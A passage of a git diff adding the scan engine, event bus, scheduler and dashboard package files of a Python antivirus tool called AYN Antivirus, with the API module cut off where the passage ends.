b/ayn-antivirus/ayn_antivirus/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/core/engine.py b/ayn-antivirus/ayn_antivirus/core/engine.py new file mode 100644 index 0000000..1543607 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/engine.py @@ -0,0 +1,917 @@ +"""Core scan engine for AYN Antivirus. + +Orchestrates file-system, process, and network scanning by delegating to +pluggable detectors (hash lookup, YARA, heuristic) and emitting events via +the :pymod:`event_bus`. +""" + +from __future__ import annotations + +import logging +import os +import time +import uuid +from concurrent.futures import ThreadPoolExecutor, as_completed +from dataclasses import dataclass, field +from datetime import datetime +from enum import Enum, auto +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional, Protocol + +from ayn_antivirus.config import Config +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Enums +# --------------------------------------------------------------------------- + + +class ThreatType(Enum): + """Classification of a detected threat.""" + + VIRUS = auto() + MALWARE = auto() + SPYWARE = auto() + MINER = auto() + ROOTKIT = auto() + + +class Severity(Enum): + """Threat severity level, ordered low → critical.""" + + LOW = 1 + MEDIUM = 2 + HIGH = 3 + CRITICAL = 4 + + +class ScanType(Enum): + """Kind of scan that was executed.""" + + FULL = "full" + QUICK = "quick" + DEEP = "deep" + SINGLE_FILE = "single_file" + TARGETED = "targeted" + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + + +@dataclass +class ThreatInfo: + """A single threat detected during a file scan.""" + + path: str + threat_name: str + threat_type: ThreatType + severity: Severity + detector_name: str + details: str = "" + timestamp: datetime = field(default_factory=datetime.utcnow) + file_hash: str = "" + + +@dataclass +class FileScanResult: + """Result of scanning a single file.""" + + path: str + scanned: bool = True + file_hash: str = "" + size: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + error: Optional[str] = None + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 and self.error is None + + +@dataclass +class ProcessThreat: + """A suspicious process discovered at runtime.""" + + pid: int + name: str + cmdline: str + cpu_percent: float + memory_percent: float + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class NetworkThreat: + """A suspicious network connection.""" + + local_addr: str + remote_addr: str + pid: Optional[int] + process_name: str + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class ScanResult: + """Aggregated result of a path / multi-file scan.""" + + scan_id: str = field(default_factory=lambda: uuid.uuid4().hex[:12]) + start_time: datetime = field(default_factory=datetime.utcnow) + end_time: Optional[datetime] = None + files_scanned: int = 0 + files_skipped: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + scan_path: str = "" + scan_type: ScanType = ScanType.FULL + + @property + def duration_seconds(self) -> float: + if self.end_time is None: + return 0.0 + return (self.end_time - self.start_time).total_seconds() + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class ProcessScanResult: + """Aggregated result of a process scan.""" + + processes_scanned: int = 0 + threats: List[ProcessThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_processes(self) -> int: + """Alias for processes_scanned (backward compat).""" + return self.processes_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class NetworkScanResult: + """Aggregated result of a network scan.""" + + connections_scanned: int = 0 + threats: List[NetworkThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_connections(self) -> int: + """Alias for connections_scanned (backward compat).""" + return self.connections_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class FullScanResult: + """Combined results from a full scan (files + processes + network + containers).""" + + file_scan: ScanResult = field(default_factory=ScanResult) + process_scan: ProcessScanResult = field(default_factory=ProcessScanResult) + network_scan: NetworkScanResult = field(default_factory=NetworkScanResult) + container_scan: Any = None # Optional[ContainerScanResult] + + @property + def total_threats(self) -> int: + count = ( + len(self.file_scan.threats) + + len(self.process_scan.threats) + + len(self.network_scan.threats) + ) + if self.container_scan is not None: + count += len(self.container_scan.threats) + return count + + @property + def is_clean(self) -> bool: + return self.total_threats == 0 + + +# --------------------------------------------------------------------------- +# Detector protocol (for type hints & documentation) +# --------------------------------------------------------------------------- + + +class _Detector(Protocol): + """Any object with a ``detect()`` method matching the BaseDetector API.""" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> list: ... + + +# --------------------------------------------------------------------------- +# Helper: file hashing +# --------------------------------------------------------------------------- + +def _hash_file(filepath: Path, algo: str = "sha256") -> str: + """Return the hex digest of *filepath*. + + Delegates to :func:`ayn_antivirus.utils.helpers.hash_file`. + """ + return _hash_file_util(filepath, algo) + + +# --------------------------------------------------------------------------- +# Detector result → engine dataclass mapping +# --------------------------------------------------------------------------- + +_THREAT_TYPE_MAP = { + "VIRUS": ThreatType.VIRUS, + "MALWARE": ThreatType.MALWARE, + "SPYWARE": ThreatType.SPYWARE, + "MINER": ThreatType.MINER, + "ROOTKIT": ThreatType.ROOTKIT, + "HEURISTIC": ThreatType.MALWARE, +} + +_SEVERITY_MAP = { + "CRITICAL": Severity.CRITICAL, + "HIGH": Severity.HIGH, + "MEDIUM": Severity.MEDIUM, + "LOW": Severity.LOW, +} + + +def _map_threat_type(raw: str) -> ThreatType: + """Convert a detector's threat-type string to :class:`ThreatType`.""" + return _THREAT_TYPE_MAP.get(raw.upper(), ThreatType.MALWARE) + + +def _map_severity(raw: str) -> Severity: + """Convert a detector's severity string to :class:`Severity`.""" + return _SEVERITY_MAP.get(raw.upper(), Severity.MEDIUM) + + +# --------------------------------------------------------------------------- +# Quick-scan target directories +# --------------------------------------------------------------------------- + +QUICK_SCAN_PATHS = [ + "/tmp", + "/var/tmp", + "/dev/shm", + "/usr/local/bin", + "/var/spool/cron", + "/etc/cron.d", + "/etc/cron.daily", + "/etc/crontab", + "/var/www", + "/srv", +] + + +# --------------------------------------------------------------------------- +# ScanEngine +# --------------------------------------------------------------------------- + +class ScanEngine: + """Central orchestrator for all AYN scanning activities. + + The engine walks the file system, delegates to pluggable detectors, tracks + statistics, and publishes events on the global :pydata:`event_bus`. + + Parameters + ---------- + config: + Application configuration instance. + max_workers: + Thread pool size for parallel file scanning. Defaults to + ``min(os.cpu_count(), 8)``. + """ + + def __init__(self, config: Config, max_workers: int | None = None) -> None: + self.config = config + self.max_workers = max_workers or min(os.cpu_count() or 4, 8) + + # Detector registry — populated by external plug-ins via register_detector(). + # Each detector is a callable: (filepath: Path, cfg: Config) -> List[ThreatInfo] + self._detectors: List[_Detector] = [] + + self._init_builtin_detectors() + + # ------------------------------------------------------------------ + # Detector registration + # ------------------------------------------------------------------ + + def register_detector(self, detector: _Detector) -> None: + """Add a detector to the scanning pipeline.""" + self._detectors.append(detector) + + def _init_builtin_detectors(self) -> None: + """Register all built-in detection engines.""" + from ayn_antivirus.detectors.signature_detector import SignatureDetector + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + + try: + sig_det = SignatureDetector(db_path=self.config.db_path) + self.register_detector(sig_det) + except Exception as e: + logger.warning("Failed to load SignatureDetector: %s", e) + + try: + self.register_detector(HeuristicDetector()) + except Exception as e: + logger.warning("Failed to load HeuristicDetector: %s", e) + + try: + self.register_detector(CryptominerDetector()) + except Exception as e: + logger.warning("Failed to load CryptominerDetector: %s", e) + + try: + self.register_detector(SpywareDetector()) + except Exception as e: + logger.warning("Failed to load SpywareDetector: %s", e) + + try: + self.register_detector(RootkitDetector()) + except Exception as e: + logger.warning("Failed to load RootkitDetector: %s", e) + + if self.config.enable_yara: + try: + from ayn_antivirus.detectors.yara_detector import YaraDetector + yara_det = YaraDetector() + self.register_detector(yara_det) + except Exception as e: + logger.debug("YARA detector not available: %s", e) + + logger.info("Registered %d detectors", len(self._detectors)) + + # ------------------------------------------------------------------ + # File scanning + # ------------------------------------------------------------------ + + def scan_file(self, filepath: str | Path) -> FileScanResult: + """Scan a single file through every registered detector. + + Parameters + ---------- + filepath: + Absolute or relative path to the file. + + Returns + ------- + FileScanResult + """ + filepath = Path(filepath) + result = FileScanResult(path=str(filepath)) + + if not filepath.is_file(): + result.scanned = False + result.error = "Not a file or does not exist" + return result + + try: + stat = filepath.stat() + except OSError as exc: + result.scanned = False + result.error = str(exc) + return result + + result.size = stat.st_size + + if result.size > self.config.max_file_size: + result.scanned = False + result.error = f"File exceeds max size ({result.size} > {self.config.max_file_size})" + return result + + # Hash the file — needed by hash-based detectors and for recording. + try: + result.file_hash = _hash_file(filepath) + except OSError as exc: + result.scanned = False + result.error = f"Cannot read file: {exc}" + return result + + # Enrich with FileScanner metadata (type classification). + try: + from ayn_antivirus.scanners.file_scanner import FileScanner + file_scanner = FileScanner(max_file_size=self.config.max_file_size) + file_info = file_scanner.scan(str(filepath)) + result._file_info = file_info # type: ignore[attr-defined] + except Exception: + logger.debug("FileScanner enrichment skipped for %s", filepath) + + # Run every registered detector. + for detector in self._detectors: + try: + detections = detector.detect(filepath, file_hash=result.file_hash) + for d in detections: + threat = ThreatInfo( + path=str(filepath), + threat_name=d.threat_name, + threat_type=_map_threat_type(d.threat_type), + severity=_map_severity(d.severity), + detector_name=d.detector_name, + details=d.details, + file_hash=result.file_hash, + ) + result.threats.append(threat) + except Exception: + logger.exception("Detector %r failed on %s", detector, filepath) + + # Publish per-file events. + event_bus.publish(EventType.FILE_SCANNED, result) + if result.threats: + for threat in result.threats: + event_bus.publish(EventType.THREAT_FOUND, threat) + + return result + + # ------------------------------------------------------------------ + # Path scanning (recursive) + # ------------------------------------------------------------------ + + def scan_path( + self, + path: str | Path, + recursive: bool = True, + quick: bool = False, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Walk *path* and scan every eligible file. + + Parameters + ---------- + path: + Root directory (or single file) to scan. + recursive: + Descend into subdirectories. + quick: + If ``True``, only scan :pydata:`QUICK_SCAN_PATHS` that exist + under *path* (or the quick-scan list itself when *path* is ``/``). + callback: + Optional function called after each file is scanned — useful for + progress reporting. + + Returns + ------- + ScanResult + """ + scan_type = ScanType.QUICK if quick else ScanType.FULL + result = ScanResult( + scan_path=str(path), + scan_type=scan_type, + start_time=datetime.utcnow(), + ) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": result.scan_id, + "scan_type": scan_type.value, + "path": str(path), + }) + + # Collect files to scan. + files = self._collect_files(Path(path), recursive=recursive, quick=quick) + + # Parallel scan. + with ThreadPoolExecutor(max_workers=self.max_workers) as pool: + futures = {pool.submit(self.scan_file, fp): fp for fp in files} + for future in as_completed(futures): + try: + file_result = future.result() + except Exception: + result.files_skipped += 1 + logger.exception("Unhandled error scanning %s", futures[future]) + continue + + if file_result.scanned: + result.files_scanned += 1 + else: + result.files_skipped += 1 + + result.threats.extend(file_result.threats) + + if callback is not None: + try: + callback(file_result) + except Exception: + logger.exception("Scan callback raised an exception") + + result.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": result.scan_id, + "files_scanned": result.files_scanned, + "threats": len(result.threats), + "duration": result.duration_seconds, + }) + + return result + + # ------------------------------------------------------------------ + # Process scanning + # ------------------------------------------------------------------ + + def scan_processes(self) -> ProcessScanResult: + """Inspect all running processes for known miners and anomalies. + + Delegates to :class:`~ayn_antivirus.scanners.process_scanner.ProcessScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + ProcessScanResult + """ + from ayn_antivirus.scanners.process_scanner import ProcessScanner + + result = ProcessScanResult() + start = time.monotonic() + + proc_scanner = ProcessScanner() + scan_data = proc_scanner.scan() + + result.processes_scanned = scan_data.get("total", 0) + + # Known miner matches. + for s in scan_data.get("suspicious", []): + threat = ProcessThreat( + pid=s["pid"], + name=s.get("name", ""), + cmdline=" ".join(s.get("cmdline") or []), + cpu_percent=s.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.CRITICAL, + details=s.get("reason", "Known miner process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # High-CPU anomalies (skip duplicates already caught as miners). + miner_pids = {t.pid for t in result.threats} + for h in scan_data.get("high_cpu", []): + if h["pid"] in miner_pids: + continue + threat = ProcessThreat( + pid=h["pid"], + name=h.get("name", ""), + cmdline=" ".join(h.get("cmdline") or []), + cpu_percent=h.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.HIGH, + details=h.get("reason", "Abnormally high CPU usage"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Hidden processes (possible rootkit). + for hp in scan_data.get("hidden", []): + threat = ProcessThreat( + pid=hp["pid"], + name=hp.get("name", ""), + cmdline=hp.get("cmdline", ""), + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.CRITICAL, + details=hp.get("reason", "Hidden process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Optional memory scan for suspicious PIDs. + try: + from ayn_antivirus.scanners.memory_scanner import MemoryScanner + mem_scanner = MemoryScanner() + suspicious_pids = {t.pid for t in result.threats} + for pid in suspicious_pids: + try: + mem_result = mem_scanner.scan(pid) + rwx_regions = mem_result.get("rwx_regions") or [] + if rwx_regions: + result.threats.append(ProcessThreat( + pid=pid, + name="", + cmdline="", + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.HIGH, + details=( + f"Injected code detected in PID {pid}: " + f"{len(rwx_regions)} RWX region(s)" + ), + )) + except Exception: + pass # Memory scan for individual PID is best-effort + except Exception as exc: + logger.debug("Memory scan skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Network scanning + # ------------------------------------------------------------------ + + def scan_network(self) -> NetworkScanResult: + """Scan active network connections for mining pool traffic. + + Delegates to :class:`~ayn_antivirus.scanners.network_scanner.NetworkScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + NetworkScanResult + """ + from ayn_antivirus.scanners.network_scanner import NetworkScanner + + result = NetworkScanResult() + start = time.monotonic() + + net_scanner = NetworkScanner() + scan_data = net_scanner.scan() + + result.connections_scanned = scan_data.get("total", 0) + + # Suspicious connections (mining pools, suspicious ports). + for s in scan_data.get("suspicious", []): + sev = _map_severity(s.get("severity", "HIGH")) + threat = NetworkThreat( + local_addr=s.get("local_addr", "?"), + remote_addr=s.get("remote_addr", "?"), + pid=s.get("pid"), + process_name=(s.get("process", {}) or {}).get("name", ""), + threat_type=ThreatType.MINER, + severity=sev, + details=s.get("reason", "Suspicious connection"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Unexpected listening ports. + for lp in scan_data.get("unexpected_listeners", []): + threat = NetworkThreat( + local_addr=lp.get("local_addr", f"?:{lp.get('port', '?')}"), + remote_addr="", + pid=lp.get("pid"), + process_name=lp.get("process_name", ""), + threat_type=ThreatType.MALWARE, + severity=_map_severity(lp.get("severity", "MEDIUM")), + details=lp.get("reason", "Unexpected listener"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Enrich with IOC database lookups — flag connections to known-bad IPs. + try: + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + ioc_db = IOCDatabase(self.config.db_path) + ioc_db.initialize() + malicious_ips = ioc_db.get_all_malicious_ips() + + if malicious_ips: + import psutil as _psutil + already_flagged = { + t.remote_addr for t in result.threats + } + try: + for conn in _psutil.net_connections(kind="inet"): + if not conn.raddr: + continue + remote_ip = conn.raddr.ip + remote_str = f"{remote_ip}:{conn.raddr.port}" + if remote_ip in malicious_ips and remote_str not in already_flagged: + ioc_info = ioc_db.lookup_ip(remote_ip) or {} + result.threats.append(NetworkThreat( + local_addr=( + f"{conn.laddr.ip}:{conn.laddr.port}" + if conn.laddr else "" + ), + remote_addr=remote_str, + pid=conn.pid or 0, + process_name=self._get_proc_name(conn.pid), + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + details=( + f"Connection to known malicious IP {remote_ip} " + f"(threat: {ioc_info.get('threat_name', 'IOC match')})" + ), + )) + except (_psutil.AccessDenied, OSError): + pass + + ioc_db.close() + except Exception as exc: + logger.debug("IOC network enrichment skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _get_proc_name(pid: int) -> str: + """Best-effort process name lookup for a PID.""" + if not pid: + return "" + try: + import psutil as _ps + return _ps.Process(pid).name() + except Exception: + return "" + + # ------------------------------------------------------------------ + # Container scanning + # ------------------------------------------------------------------ + + def scan_containers( + self, + runtime: str = "all", + container_id: Optional[str] = None, + ): + """Scan containers for threats. + + Parameters + ---------- + runtime: + Container runtime to target (``"all"``, ``"docker"``, + ``"podman"``, ``"lxc"``). + container_id: + If provided, scan only this specific container. + + Returns + ------- + ContainerScanResult + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + if container_id: + return scanner.scan_container(container_id) + return scanner.scan(runtime) + + # ------------------------------------------------------------------ + # Composite scans + # ------------------------------------------------------------------ + + def full_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> FullScanResult: + """Run a complete scan: files, processes, and network. + + Parameters + ---------- + callback: + Optional per-file progress callback. + + Returns + ------- + FullScanResult + """ + full = FullScanResult() + + # File scan across all configured paths. + aggregate = ScanResult(scan_type=ScanType.FULL, start_time=datetime.utcnow()) + for scan_path in self.config.scan_paths: + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + aggregate.end_time = datetime.utcnow() + full.file_scan = aggregate + + # Process + network. + full.process_scan = self.scan_processes() + full.network_scan = self.scan_network() + + # Containers (best-effort — skipped if no runtimes available). + try: + container_result = self.scan_containers() + if container_result.containers_found > 0: + full.container_scan = container_result + except Exception: + logger.debug("Container scanning skipped", exc_info=True) + + return full + + def quick_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Scan only high-risk directories. + + Targets :pydata:`QUICK_SCAN_PATHS` and any additional web roots + or crontab locations. + + Returns + ------- + ScanResult + """ + aggregate = ScanResult(scan_type=ScanType.QUICK, start_time=datetime.utcnow()) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": aggregate.scan_id, + "scan_type": "quick", + "paths": QUICK_SCAN_PATHS, + }) + + for scan_path in QUICK_SCAN_PATHS: + p = Path(scan_path) + if not p.exists(): + continue + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + + aggregate.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": aggregate.scan_id, + "files_scanned": aggregate.files_scanned, + "threats": len(aggregate.threats), + "duration": aggregate.duration_seconds, + }) + + return aggregate + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _collect_files( + self, + root: Path, + recursive: bool = True, + quick: bool = False, + ) -> List[Path]: + """Walk *root* and return a list of scannable file paths. + + Respects ``config.exclude_paths`` and ``config.max_file_size``. + """ + targets: List[Path] = [] + + if quick: + # In quick mode, only descend into known-risky subdirectories. + roots = [ + root / rel + for rel in ( + "tmp", "var/tmp", "dev/shm", "usr/local/bin", + "var/spool/cron", "etc/cron.d", "etc/cron.daily", + "var/www", "srv", + ) + if (root / rel).exists() + ] + # Also include the quick-scan list itself if root is /. + if str(root) == "/": + roots = [Path(p) for p in QUICK_SCAN_PATHS if Path(p).exists()] + else: + roots = [root] + + exclude = set(self.config.exclude_paths) + + for r in roots: + if r.is_file(): + targets.append(r) + continue + iterator = r.rglob("*") if recursive else r.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + # Exclude check. + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + try: + if entry.stat().st_size > self.config.max_file_size: + continue + except OSError: + continue + targets.append(entry) + except PermissionError: + logger.warning("Permission denied: %s", r) + + return targets diff --git a/ayn-antivirus/ayn_antivirus/core/event_bus.py b/ayn-antivirus/ayn_antivirus/core/event_bus.py new file mode 100644 index 0000000..a1302b5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/event_bus.py @@ -0,0 +1,119 @@ +"""Simple publish/subscribe event bus for AYN Antivirus. + +Decouples the scan engine from consumers like the CLI, logger, quarantine +manager, and real-time monitor so each component can react to events +independently. +""" + +from __future__ import annotations + +import logging +import threading +from enum import Enum, auto +from typing import Any, Callable, Dict, List + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Event types +# --------------------------------------------------------------------------- +class EventType(Enum): + """All events emitted by the AYN engine.""" + + THREAT_FOUND = auto() + SCAN_STARTED = auto() + SCAN_COMPLETED = auto() + FILE_SCANNED = auto() + SIGNATURE_UPDATED = auto() + QUARANTINE_ACTION = auto() + REMEDIATION_ACTION = auto() + DASHBOARD_METRIC = auto() + + +# Type alias for subscriber callbacks. +Callback = Callable[[EventType, Any], None] + + +# --------------------------------------------------------------------------- +# EventBus +# --------------------------------------------------------------------------- +class EventBus: + """Thread-safe publish/subscribe event bus. + + Usage:: + + bus = EventBus() + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: print(data)) + bus.publish(EventType.THREAT_FOUND, {"path": "/tmp/evil.elf"}) + """ + + def __init__(self) -> None: + self._subscribers: Dict[EventType, List[Callback]] = {et: [] for et in EventType} + self._lock = threading.Lock() + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + def subscribe(self, event_type: EventType, callback: Callback) -> None: + """Register *callback* to be invoked whenever *event_type* is published. + + Parameters + ---------- + event_type: + The event to listen for. + callback: + A callable with signature ``(event_type, data) -> None``. + """ + with self._lock: + if callback not in self._subscribers[event_type]: + self._subscribers[event_type].append(callback) + + def unsubscribe(self, event_type: EventType, callback: Callback) -> None: + """Remove a previously-registered callback.""" + with self._lock: + try: + self._subscribers[event_type].remove(callback) + except ValueError: + pass + + def publish(self, event_type: EventType, data: Any = None) -> None: + """Emit an event, invoking all registered callbacks synchronously. + + Exceptions raised by individual callbacks are logged and swallowed so + that one faulty subscriber cannot break the pipeline. + + Parameters + ---------- + event_type: + The event being emitted. + data: + Arbitrary payload — typically a dataclass or dict. + """ + with self._lock: + callbacks = list(self._subscribers[event_type]) + + for cb in callbacks: + try: + cb(event_type, data) + except Exception: + logger.exception( + "Subscriber %r raised an exception for event %s", + cb, + event_type.name, + ) + + def clear(self, event_type: EventType | None = None) -> None: + """Remove all subscribers for *event_type*, or all subscribers if ``None``.""" + with self._lock: + if event_type is None: + for et in EventType: + self._subscribers[et].clear() + else: + self._subscribers[event_type].clear() + + +# --------------------------------------------------------------------------- +# Module-level singleton +# --------------------------------------------------------------------------- +event_bus = EventBus() diff --git a/ayn-antivirus/ayn_antivirus/core/scheduler.py b/ayn-antivirus/ayn_antivirus/core/scheduler.py new file mode 100644 index 0000000..15cce61 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/scheduler.py @@ -0,0 +1,215 @@ +"""Scheduler for recurring scans and signature updates. + +Wraps the ``schedule`` library to provide cron-like recurring tasks that +drive the :class:`ScanEngine` and signature updater in a long-running +daemon loop. +""" + +from __future__ import annotations + +import logging +import time +from typing import Optional + +import schedule + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, ScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Cron expression helpers +# --------------------------------------------------------------------------- + +def _parse_cron_field(field: str, min_val: int, max_val: int) -> list[int]: + """Parse a single cron field (e.g. ``*/5``, ``1,3,5``, ``0-23``, ``*``). + + Returns a sorted list of matching integer values. + """ + values: set[int] = set() + + for part in field.split(","): + part = part.strip() + + # */step + if part.startswith("*/"): + step = int(part[2:]) + values.update(range(min_val, max_val + 1, step)) + # range with optional step (e.g. 1-5 or 1-5/2) + elif "-" in part: + range_part, _, step_part = part.partition("/") + lo, hi = range_part.split("-", 1) + step = int(step_part) if step_part else 1 + values.update(range(int(lo), int(hi) + 1, step)) + # wildcard + elif part == "*": + values.update(range(min_val, max_val + 1)) + # literal + else: + values.add(int(part)) + + return sorted(values) + + +def _cron_to_schedule(cron_expr: str) -> dict: + """Convert a 5-field cron expression into components. + + Returns a dict with keys ``minutes``, ``hours``, ``days``, ``months``, + ``weekdays`` — each a list of integers. + + Only *minute* and *hour* are used by the ``schedule`` library adapter + below; the rest are validated but not fully honoured (``schedule`` lacks + calendar-level granularity). + """ + parts = cron_expr.strip().split() + if len(parts) != 5: + raise ValueError(f"Expected 5-field cron expression, got: {cron_expr!r}") + + return { + "minutes": _parse_cron_field(parts[0], 0, 59), + "hours": _parse_cron_field(parts[1], 0, 23), + "days": _parse_cron_field(parts[2], 1, 31), + "months": _parse_cron_field(parts[3], 1, 12), + "weekdays": _parse_cron_field(parts[4], 0, 6), + } + + +# --------------------------------------------------------------------------- +# Scheduler +# --------------------------------------------------------------------------- + +class Scheduler: + """Manages recurring scan and update jobs. + + Parameters + ---------- + config: + Application configuration — used to build a :class:`ScanEngine` and + read schedule expressions. + engine: + Optional pre-built engine instance. If ``None``, one is created from + *config*. + """ + + def __init__(self, config: Config, engine: Optional[ScanEngine] = None) -> None: + self.config = config + self.engine = engine or ScanEngine(config) + self._scheduler = schedule.Scheduler() + + # ------------------------------------------------------------------ + # Job builders + # ------------------------------------------------------------------ + + def schedule_scan(self, cron_expr: str, scan_type: str = "full") -> None: + """Schedule a recurring scan using a cron expression. + + Parameters + ---------- + cron_expr: + Standard 5-field cron string (``minute hour dom month dow``). + scan_type: + One of ``"full"``, ``"quick"``, or ``"deep"``. + """ + parsed = _cron_to_schedule(cron_expr) + + # ``schedule`` doesn't natively support cron, so we approximate by + # scheduling at every matching hour:minute combination. For simple + # expressions like ``0 2 * * *`` this is exact. + for hour in parsed["hours"]: + for minute in parsed["minutes"]: + time_str = f"{hour:02d}:{minute:02d}" + self._scheduler.every().day.at(time_str).do( + self._run_scan, scan_type=scan_type + ) + logger.info("Scheduled %s scan at %s daily", scan_type, time_str) + + def schedule_update(self, interval_hours: int = 6) -> None: + """Schedule recurring signature updates. + + Parameters + ---------- + interval_hours: + How often (in hours) to pull fresh signatures. + """ + self._scheduler.every(interval_hours).hours.do(self._run_update) + logger.info("Scheduled signature update every %d hour(s)", interval_hours) + + # ------------------------------------------------------------------ + # Daemon loop + # ------------------------------------------------------------------ + + def run_daemon(self) -> None: + """Start the blocking scheduler loop. + + Runs all pending jobs and sleeps between iterations. Designed to be + the main loop of a background daemon process. + + Press ``Ctrl+C`` (or send ``SIGINT``) to exit cleanly. + """ + logger.info("AYN scheduler daemon started — %d job(s)", len(self._scheduler.get_jobs())) + + try: + while True: + self._scheduler.run_pending() + time.sleep(30) + except KeyboardInterrupt: + logger.info("Scheduler daemon stopped by user") + + # ------------------------------------------------------------------ + # Job implementations + # ------------------------------------------------------------------ + + def _run_scan(self, scan_type: str = "full") -> None: + """Execute a scan job.""" + logger.info("Starting scheduled %s scan", scan_type) + try: + if scan_type == "quick": + result: ScanResult = self.engine.quick_scan() + else: + # "full" and "deep" both scan all paths; deep adds process/network + # via full_scan on the engine, but here we keep it simple. + result = ScanResult() + for path in self.config.scan_paths: + partial = self.engine.scan_path(path, recursive=True) + result.files_scanned += partial.files_scanned + result.files_skipped += partial.files_skipped + result.threats.extend(partial.threats) + + logger.info( + "Scheduled %s scan complete — %d files, %d threats", + scan_type, + result.files_scanned, + len(result.threats), + ) + except Exception: + logger.exception("Scheduled %s scan failed", scan_type) + + def _run_update(self) -> None: + """Execute a signature update job.""" + logger.info("Starting scheduled signature update") + try: + from ayn_antivirus.signatures.manager import SignatureManager + + manager = SignatureManager(self.config) + summary = manager.update_all() + total = summary.get("total_new", 0) + errors = summary.get("errors", []) + logger.info( + "Scheduled signature update complete: %d new, %d errors", + total, + len(errors), + ) + if errors: + for err in errors: + logger.warning("Feed error: %s", err) + manager.close() + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "total_new": total, + "feeds": list(summary.get("feeds", {}).keys()), + "errors": errors, + }) + except Exception: + logger.exception("Scheduled signature update failed") diff --git a/ayn-antivirus/ayn_antivirus/dashboard/__init__.py b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py new file mode 100644 index 0000000..1f58d0a --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py @@ -0,0 +1,7 @@ +"""AYN Antivirus - Live Web Dashboard.""" + +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.server import DashboardServer +from ayn_antivirus.dashboard.store import DashboardStore + +__all__ = ["DashboardServer", "DashboardStore", "MetricsCollector"] diff --git a/ayn-antivirus/ayn_antivirus/dashboard/api.py b/ayn-antivirus/ayn_antivirus/dashboard/api.py new file mode 100644 index 0000000..2e80ec5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/api.py @@ -0,0 +1,1159 @@ +"""AYN Antivirus Dashboard — REST API Handlers.""" + +from __future__ import annotations + +import asyncio +import json +import logging +import platform +import time +from datetime import datetime + +from aiohttp import web + +logger = logging.getLogger("ayn_antivirus.dashboard.api") + + +def setup_routes(app: web.Application) -> None: + """Register all API routes on the 